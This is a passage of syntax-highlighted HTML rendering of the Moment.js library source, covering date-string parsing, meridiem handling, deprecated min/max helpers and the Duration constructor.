class="line">            stringLength = string.<span class="property">length</span>,</span><br><span class="line">            totalParsedInputLength = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        tokens = <span class="title function_">expandFormat</span>(config.<span class="property">_f</span>, config.<span class="property">_locale</span>).<span class="title function_">match</span>(formattingTokens) || [];</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; tokens.<span class="property">length</span>; i++) &#123;</span><br><span class="line">            token = tokens[i];</span><br><span class="line">            parsedInput = (string.<span class="title function_">match</span>(<span class="title function_">getParseRegexForToken</span>(token, config)) || [])[<span class="number">0</span>];</span><br><span class="line">            <span class="comment">// console.log(&#x27;token&#x27;, token, &#x27;parsedInput&#x27;, parsedInput,</span></span><br><span class="line">            <span class="comment">//         &#x27;regex&#x27;, getParseRegexForToken(token, config));</span></span><br><span class="line">            <span class="keyword">if</span> (parsedInput) &#123;</span><br><span class="line">                skipped = string.<span class="title function_">substr</span>(<span class="number">0</span>, string.<span class="title function_">indexOf</span>(parsedInput));</span><br><span class="line">                <span class="keyword">if</span> (skipped.<span class="property">length</span> &gt; <span class="number">0</span>) &#123;</span><br><span class="line">                    <span class="title function_">getParsingFlags</span>(config).<span class="property">unusedInput</span>.<span class="title function_">push</span>(skipped);</span><br><span class="line">                &#125;</span><br><span class="line">                string = string.<span class="title function_">slice</span>(string.<span class="title function_">indexOf</span>(parsedInput) + parsedInput.<span class="property">length</span>);</span><br><span class="line">                totalParsedInputLength += parsedInput.<span class="property">length</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="comment">// don&#x27;t parse if it&#x27;s not a known token</span></span><br><span class="line">            <span class="keyword">if</span> (formatTokenFunctions[token]) &#123;</span><br><span class="line">                <span class="keyword">if</span> (parsedInput) &#123;</span><br><span class="line">                    <span class="title function_">getParsingFlags</span>(config).<span class="property">empty</span> = <span class="literal">false</span>;</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    <span class="title function_">getParsingFlags</span>(config).<span class="property">unusedTokens</span>.<span class="title function_">push</span>(token);</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="title function_">addTimeToArrayFromToken</span>(token, parsedInput, config);</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (config.<span class="property">_strict</span> &amp;&amp; !parsedInput) &#123;</span><br><span class="line">                <span class="title function_">getParsingFlags</span>(config).<span class="property">unusedTokens</span>.<span class="title function_">push</span>(token);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// add remaining unparsed input length to the string</span></span><br><span class="line">        <span class="title function_">getParsingFlags</span>(config).<span class="property">charsLeftOver</span> = stringLength - totalParsedInputLength;</span><br><span class="line">        <span class="keyword">if</span> (string.<span class="property">length</span> &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="title function_">getParsingFlags</span>(config).<span class="property">unusedInput</span>.<span class="title function_">push</span>(string);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// clear _12h flag if hour is &lt;= 12</span></span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_a</span>[<span class="variable constant_">HOUR</span>] &lt;= <span class="number">12</span> &amp;&amp;</span><br><span class="line">            <span class="title function_">getParsingFlags</span>(config).<span class="property">bigHour</span> === <span class="literal">true</span> &amp;&amp;</span><br><span class="line">            config.<span class="property">_a</span>[<span class="variable constant_">HOUR</span>] &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="title function_">getParsingFlags</span>(config).<span class="property">bigHour</span> = <span class="literal">undefined</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="title function_">getParsingFlags</span>(config).<span class="property">parsedDateParts</span> = config.<span class="property">_a</span>.<span class="title function_">slice</span>(<span class="number">0</span>);</span><br><span class="line">        <span class="title function_">getParsingFlags</span>(config).<span class="property">meridiem</span> = config.<span class="property">_meridiem</span>;</span><br><span class="line">        <span class="comment">// handle meridiem</span></span><br><span class="line">        config.<span class="property">_a</span>[<span class="variable constant_">HOUR</span>] = <span class="title function_">meridiemFixWrap</span>(config.<span class="property">_locale</span>, config.<span class="property">_a</span>[<span class="variable constant_">HOUR</span>], config.<span class="property">_meridiem</span>);</span><br><span class="line"></span><br><span class="line">        <span class="title function_">configFromArray</span>(config);</span><br><span class="line">        <span class="title function_">checkOverflow</span>(config);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">meridiemFixWrap</span>(<span class="params">locale, hour, meridiem</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> isPm;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (meridiem == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// nothing to do</span></span><br><span class="line">            <span class="keyword">return</span> hour;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (locale.<span class="property">meridiemHour</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> locale.<span class="title function_">meridiemHour</span>(hour, meridiem);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (locale.<span class="property">isPM</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// Fallback</span></span><br><span class="line">            isPm = locale.<span class="title function_">isPM</span>(meridiem);</span><br><span class="line">            <span class="keyword">if</span> (isPm &amp;&amp; hour &lt; <span class="number">12</span>) &#123;</span><br><span class="line">                hour += <span class="number">12</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (!isPm &amp;&amp; hour === <span class="number">12</span>) &#123;</span><br><span class="line">                hour = <span class="number">0</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> hour;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// this is not supposed to happen</span></span><br><span class="line">            <span class="keyword">return</span> hour;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// date from string and array of format strings</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">configFromStringAndArray</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> tempConfig,</span><br><span class="line">            bestMoment,</span><br><span class="line"></span><br><span class="line">            scoreToBeat,</span><br><span class="line">            i,</span><br><span class="line">            currentScore;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_f</span>.<span class="property">length</span> === <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="title function_">getParsingFlags</span>(config).<span class="property">invalidFormat</span> = <span class="literal">true</span>;</span><br><span class="line">            config.<span class="property">_d</span> = <span class="keyword">new</span> <span class="title class_">Date</span>(<span class="title class_">NaN</span>);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; config.<span class="property">_f</span>.<span class="property">length</span>; i++) &#123;</span><br><span class="line">            currentScore = <span class="number">0</span>;</span><br><span class="line">            tempConfig = <span class="title function_">copyConfig</span>(&#123;&#125;, config);</span><br><span class="line">            <span class="keyword">if</span> (config.<span class="property">_useUTC</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">                tempConfig.<span class="property">_useUTC</span> = config.<span class="property">_useUTC</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            tempConfig.<span class="property">_f</span> = config.<span class="property">_f</span>[i];</span><br><span class="line">            <span class="title function_">configFromStringAndFormat</span>(tempConfig);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">isValid</span>(tempConfig)) &#123;</span><br><span class="line">                <span class="keyword">continue</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// if there is any input that was not parsed add a penalty for that format</span></span><br><span class="line">            currentScore += <span class="title function_">getParsingFlags</span>(tempConfig).<span class="property">charsLeftOver</span>;</span><br><span class="line"></span><br><span class="line">            <span class="comment">//or tokens</span></span><br><span class="line">            currentScore += <span class="title function_">getParsingFlags</span>(tempConfig).<span class="property">unusedTokens</span>.<span class="property">length</span> * <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line">            <span class="title function_">getParsingFlags</span>(tempConfig).<span class="property">score</span> = currentScore;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (scoreToBeat == <span class="literal">null</span> || currentScore &lt; scoreToBeat) &#123;</span><br><span class="line">                scoreToBeat = currentScore;</span><br><span class="line">                bestMoment = tempConfig;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="title function_">extend</span>(config, bestMoment || tempConfig);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">configFromObject</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_d</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> i = <span class="title function_">normalizeObjectUnits</span>(config.<span class="property">_i</span>);</span><br><span class="line">        config.<span class="property">_a</span> = <span class="title function_">map</span>([i.<span class="property">year</span>, i.<span class="property">month</span>, i.<span class="property">day</span> || i.<span class="property">date</span>, i.<span class="property">hour</span>, i.<span class="property">minute</span>, i.<span class="property">second</span>, i.<span class="property">millisecond</span>],</span><br><span class="line">            <span class="keyword">function</span> (<span class="params">obj</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> obj &amp;&amp; <span class="built_in">parseInt</span>(obj, <span class="number">10</span>);</span><br><span class="line">            &#125;);</span><br><span class="line"></span><br><span class="line">        <span class="title function_">configFromArray</span>(config);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createFromConfig</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> res = <span class="keyword">new</span> <span class="title class_">Moment</span>(<span class="title function_">checkOverflow</span>(<span class="title function_">prepareConfig</span>(config)));</span><br><span class="line">        <span class="keyword">if</span> (res.<span class="property">_nextDay</span>) &#123;</span><br><span class="line">            <span class="comment">// Adding is smart enough around DST</span></span><br><span class="line">            res.<span class="title function_">add</span>(<span class="number">1</span>, <span class="string">&#x27;d&#x27;</span>);</span><br><span class="line">            res.<span class="property">_nextDay</span> = <span class="literal">undefined</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> res;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">prepareConfig</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> input = config.<span class="property">_i</span>,</span><br><span class="line">            format = config.<span class="property">_f</span>;</span><br><span class="line"></span><br><span class="line">        config.<span class="property">_locale</span> = config.<span class="property">_locale</span> || <span class="title function_">getLocale</span>(config.<span class="property">_l</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (input === <span class="literal">null</span> || (format === <span class="literal">undefined</span> &amp;&amp; input === <span class="string">&#x27;&#x27;</span>)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">createInvalid</span>(&#123;</span><br><span class="line">                <span class="attr">nullInput</span>: <span class="literal">true</span></span><br><span class="line">            &#125;);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">typeof</span> input === <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">            config.<span class="property">_i</span> = input = config.<span class="property">_locale</span>.<span class="title function_">preparse</span>(input);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_">isMoment</span>(input)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Moment</span>(<span class="title function_">checkOverflow</span>(input));</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="title function_">isDate</span>(input)) &#123;</span><br><span class="line">            config.<span class="property">_d</span> = input;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="title function_">isArray</span>(format)) &#123;</span><br><span class="line">            <span class="title function_">configFromStringAndArray</span>(config);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (format) &#123;</span><br><span class="line">            <span class="title function_">configFromStringAndFormat</span>(config);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="title function_">configFromInput</span>(config);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isValid</span>(config)) &#123;</span><br><span class="line">            config.<span class="property">_d</span> = <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> config;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">configFromInput</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> input = config.<span class="property">_i</span>;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_">isUndefined</span>(input)) &#123;</span><br><span class="line">            config.<span class="property">_d</span> = <span class="keyword">new</span> <span class="title class_">Date</span>(hooks.<span class="title function_">now</span>());</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="title function_">isDate</span>(input)) &#123;</span><br><span class="line">            config.<span class="property">_d</span> = <span class="keyword">new</span> <span class="title class_">Date</span>(input.<span class="title function_">valueOf</span>());</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="keyword">typeof</span> input === <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">            <span class="title function_">configFromString</span>(config);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="title function_">isArray</span>(input)) &#123;</span><br><span class="line">            config.<span class="property">_a</span> = <span class="title function_">map</span>(input.<span class="title function_">slice</span>(<span class="number">0</span>), <span class="keyword">function</span> (<span class="params">obj</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="built_in">parseInt</span>(obj, <span class="number">10</span>);</span><br><span class="line">            &#125;);</span><br><span class="line">            <span class="title function_">configFromArray</span>(config);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="title function_">isObject</span>(input)) &#123;</span><br><span class="line">            <span class="title function_">configFromObject</span>(config);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="title function_">isNumber</span>(input)) &#123;</span><br><span class="line">            <span class="comment">// from milliseconds</span></span><br><span class="line">            config.<span class="property">_d</span> = <span class="keyword">new</span> <span class="title class_">Date</span>(input);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            hooks.<span class="title function_">createFromInputFallback</span>(config);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createLocalOrUTC</span>(<span class="params">input, format, locale, strict, isUTC</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> c = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (locale === <span class="literal">true</span> || locale === <span class="literal">false</span>) &#123;</span><br><span class="line">            strict = locale;</span><br><span class="line">            locale = <span class="literal">undefined</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> ((<span class="title function_">isObject</span>(input) &amp;&amp; <span class="title function_">isObjectEmpty</span>(input)) ||</span><br><span class="line">            (<span class="title function_">isArray</span>(input) &amp;&amp; input.<span class="property">length</span> === <span class="number">0</span>)) &#123;</span><br><span class="line">            input = <span class="literal">undefined</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// object construction must be done this way.</span></span><br><span class="line">        <span class="comment">// https://github.com/moment/moment/issues/1423</span></span><br><span class="line">        c.<span class="property">_isAMomentObject</span> = <span class="literal">true</span>;</span><br><span class="line">        c.<span class="property">_useUTC</span> = c.<span class="property">_isUTC</span> = isUTC;</span><br><span class="line">        c.<span class="property">_l</span> = locale;</span><br><span class="line">        c.<span class="property">_i</span> = input;</span><br><span class="line">        c.<span class="property">_f</span> = format;</span><br><span class="line">        c.<span class="property">_strict</span> = strict;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">createFromConfig</span>(c);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createLocal</span>(<span class="params">input, format, locale, strict</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">createLocalOrUTC</span>(input, format, locale, strict, <span class="literal">false</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> prototypeMin = <span class="title function_">deprecate</span>(</span><br><span class="line">        <span class="string">&#x27;moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/&#x27;</span>,</span><br><span class="line">        <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> other = createLocal.<span class="title function_">apply</span>(<span class="literal">null</span>, <span class="variable language_">arguments</span>);</span><br><span class="line">            <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="title function_">isValid</span>() &amp;&amp; other.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">                <span class="keyword">return</span> other &lt; <span class="variable language_">this</span> ? <span class="variable language_">this</span> : other;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="title function_">createInvalid</span>();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> prototypeMax = <span class="title function_">deprecate</span>(</span><br><span class="line">        <span class="string">&#x27;moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/&#x27;</span>,</span><br><span class="line">        <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> other = createLocal.<span class="title function_">apply</span>(<span class="literal">null</span>, <span class="variable language_">arguments</span>);</span><br><span class="line">            <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="title function_">isValid</span>() &amp;&amp; other.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">                <span class="keyword">return</span> other &gt; <span class="variable language_">this</span> ? <span class="variable language_">this</span> : other;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="title function_">createInvalid</span>();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Pick a moment m from moments so that m[fn](other) is true for all</span></span><br><span class="line">    <span class="comment">// other. This relies on the function fn to be transitive.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// moments should either be an array of moment objects or an array, whose</span></span><br><span class="line">    <span class="comment">// first element is an array of moment objects.</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">pickBy</span>(<span class="params">fn, moments</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> res, i;</span><br><span class="line">        <span class="keyword">if</span> (moments.<span class="property">length</span> === <span class="number">1</span> &amp;&amp; <span class="title function_">isArray</span>(moments[<span class="number">0</span>])) &#123;</span><br><span class="line">            moments = moments[<span class="number">0</span>];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!moments.<span class="property">length</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">createLocal</span>();</span><br><span class="line">        &#125;</span><br><span class="line">        res = moments[<span class="number">0</span>];</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">1</span>; i &lt; moments.<span class="property">length</span>; ++i) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!moments[i].<span class="title function_">isValid</span>() || moments[i][fn](res)) &#123;</span><br><span class="line">                res = moments[i];</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> res;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// <span class="doctag">TODO:</span> Use [].sort instead?</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">min</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> args = [].<span class="property">slice</span>.<span class="title function_">call</span>(<span class="variable language_">arguments</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">pickBy</span>(<span class="string">&#x27;isBefore&#x27;</span>, args);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">max</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> args = [].<span class="property">slice</span>.<span class="title function_">call</span>(<span class="variable language_">arguments</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">pickBy</span>(<span class="string">&#x27;isAfter&#x27;</span>, args);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> now = <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title class_">Date</span>.<span class="property">now</span> ? <span class="title class_">Date</span>.<span class="title function_">now</span>() : +(<span class="keyword">new</span> <span class="title class_">Date</span>());</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> ordering = [<span class="string">&#x27;year&#x27;</span>, <span class="string">&#x27;quarter&#x27;</span>, <span class="string">&#x27;month&#x27;</span>, <span class="string">&#x27;week&#x27;</span>, <span class="string">&#x27;day&#x27;</span>, <span class="string">&#x27;hour&#x27;</span>, <span class="string">&#x27;minute&#x27;</span>, <span class="string">&#x27;second&#x27;</span>, <span class="string">&#x27;millisecond&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isDurationValid</span>(<span class="params">m</span>) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">var</span> key <span class="keyword">in</span> m) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!(indexOf.<span class="title function_">call</span>(ordering, key) !== -<span class="number">1</span> &amp;&amp; (m[key] == <span class="literal">null</span> || !<span class="built_in">isNaN</span>(m[key])))) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> unitHasDecimal = <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; ordering.<span class="property">length</span>; ++i) &#123;</span><br><span class="line">            <span class="keyword">if</span> (m[ordering[i]]) &#123;</span><br><span class="line">                <span class="keyword">if</span> (unitHasDecimal) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">false</span>; <span class="comment">// only allow non-integers for smallest unit</span></span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">if</span> (<span class="built_in">parseFloat</span>(m[ordering[i]]) !== <span class="title function_">toInt</span>(m[ordering[i]])) &#123;</span><br><span class="line">                    unitHasDecimal = <span class="literal">true</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isValid$1</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_isValid</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createInvalid$1</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">createDuration</span>(<span class="title class_">NaN</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">Duration</span>(<span class="params">duration</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> normalizedInput = <span class="title function_">normalizeObjectUnits</span>(duration),</span><br><span class="line">            years = normalizedInput.<span class="property">year</span> || <span class="number">0</span>,</span><br><span class="line">            quarters = normalizedInput.<span class="property">quarter</span> || <span class="number">0</span>,</span><br><span class="line">            months = normalizedInput.<span class="property">month</span> || <span class="number">0</span>,</span><br><span class="line">            weeks = normalizedInput.<span class="property">week</span> || normalizedInput.<span class="property">isoWeek</span> || <span class="number">0</span>,</span><br><span class="line">            days = normalizedInput.<span class="property">day</span> || <span class="number">0</span>,</span><br><span class="line">            hours = normalizedInput.<span class="property">hour</span> || <span class="number">0</span>,</span><br><span class="line">            minutes = normalizedInput.<span class="property">minute</span> || <span class="number">0</span>,</span><br><span class="line">            seconds = normalizedInput.<span class="property">second</span> || <span class="number">0</span>,</span><br><span class="line">            milliseconds = normalizedInput.<span class="property">millisecond</span> || <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_isValid</span> = <span class="title function_">isDurationValid</span>(normalizedInput);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// representation for dateAddRemove</span></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_milliseconds</span> = +milliseconds +</span><br><span class="line">            seconds * <span class="number">1e3</span> + <span class="comment">// 1000</span></span><br><span class="line">            minutes * <span class="number">6e4</span> + <span class="comment">// 1000 * 60</span></span><br><span class="line">            hours * <span class="number">1000</span> * <span class="number">60</span> * <span class="number">60</span>; <span class="comment">//using 1000 * 60 * 60 instead of 36e5 to avoid floating point rounding errors https://github.com/moment/moment/issues/2978</span></span><br><span class="line">        <span class="comment">// Because of dateAddRemove treats 24 hours as different from a</span></span><br><span class="line">        <span class="comment">// day when working around DST, we need to store them separately</span></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_days</span> = +days +</span><br><span class="line">            weeks * <span class="number">7</span>;</span><br><span class="line">        <span class="comment">// It is impossible to translate months into days without knowing</span></span><br><span class="line">        <span class="comment">// which months you are are talking about, so we have to store</span></span><br><span class="line">        <span class="comment">// it separately.</span></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_months</span> = +months +</span><br><span class="line">            quarters * <span class="number">3</span> +</span><br><span class="line">            years * <span class="number">12</span>;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_data</span> = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_locale</span> = <span class="title function_">getLocale</span>();</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="title function_">_bubble</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isDuration</span>(<span class="params">obj</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> obj <span class="keyword">instanceof</span> <span class="title class_">Duration</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">absRound</span>(<span class="params">number</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (number &lt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="title function_">round</span>(-<span class="number">1</span> * number) * -<span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="title function_">round</span>(number);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">offset</span>(<span class="params">token, separator</span>) &#123;</span><br><span class="line">        <span class="title function_">addFormatToken</span>(token, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> offset = <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>();</span><br><span class="line">            <span class="keyword">var</span> sign = <span class="string">&#x27;+&#x27;</span>;</span><br><span class="line">            <span class="keyword">if</span> (offset &lt; <span class="number">0</span>) &#123;</span><br><span class="line">                offset = -offset;</span><br><span class="line">                sign = <span class="string">&#x27;-&#x27;</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> sign + <span class="title function_">zeroFill</span>(~~(offset / <span class="number">60</span>), <span class="number">2</span>) + separator + <span class="title function_">zeroFill</span>(~~(offset) % <span class="number">60</span>, <span class="number">2</span>);</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_">offset</span>(<span class="string">&#x27;Z&#x27;</span>, <span class="string">&#x27;:&#x27;</span>);</span><br><span class="line">    <span class="title function_">offset</span>(<span class="string">&#x27;ZZ&#x27;</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;Z&#x27;</span>, matchShortOffset);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;ZZ&#x27;</span>, 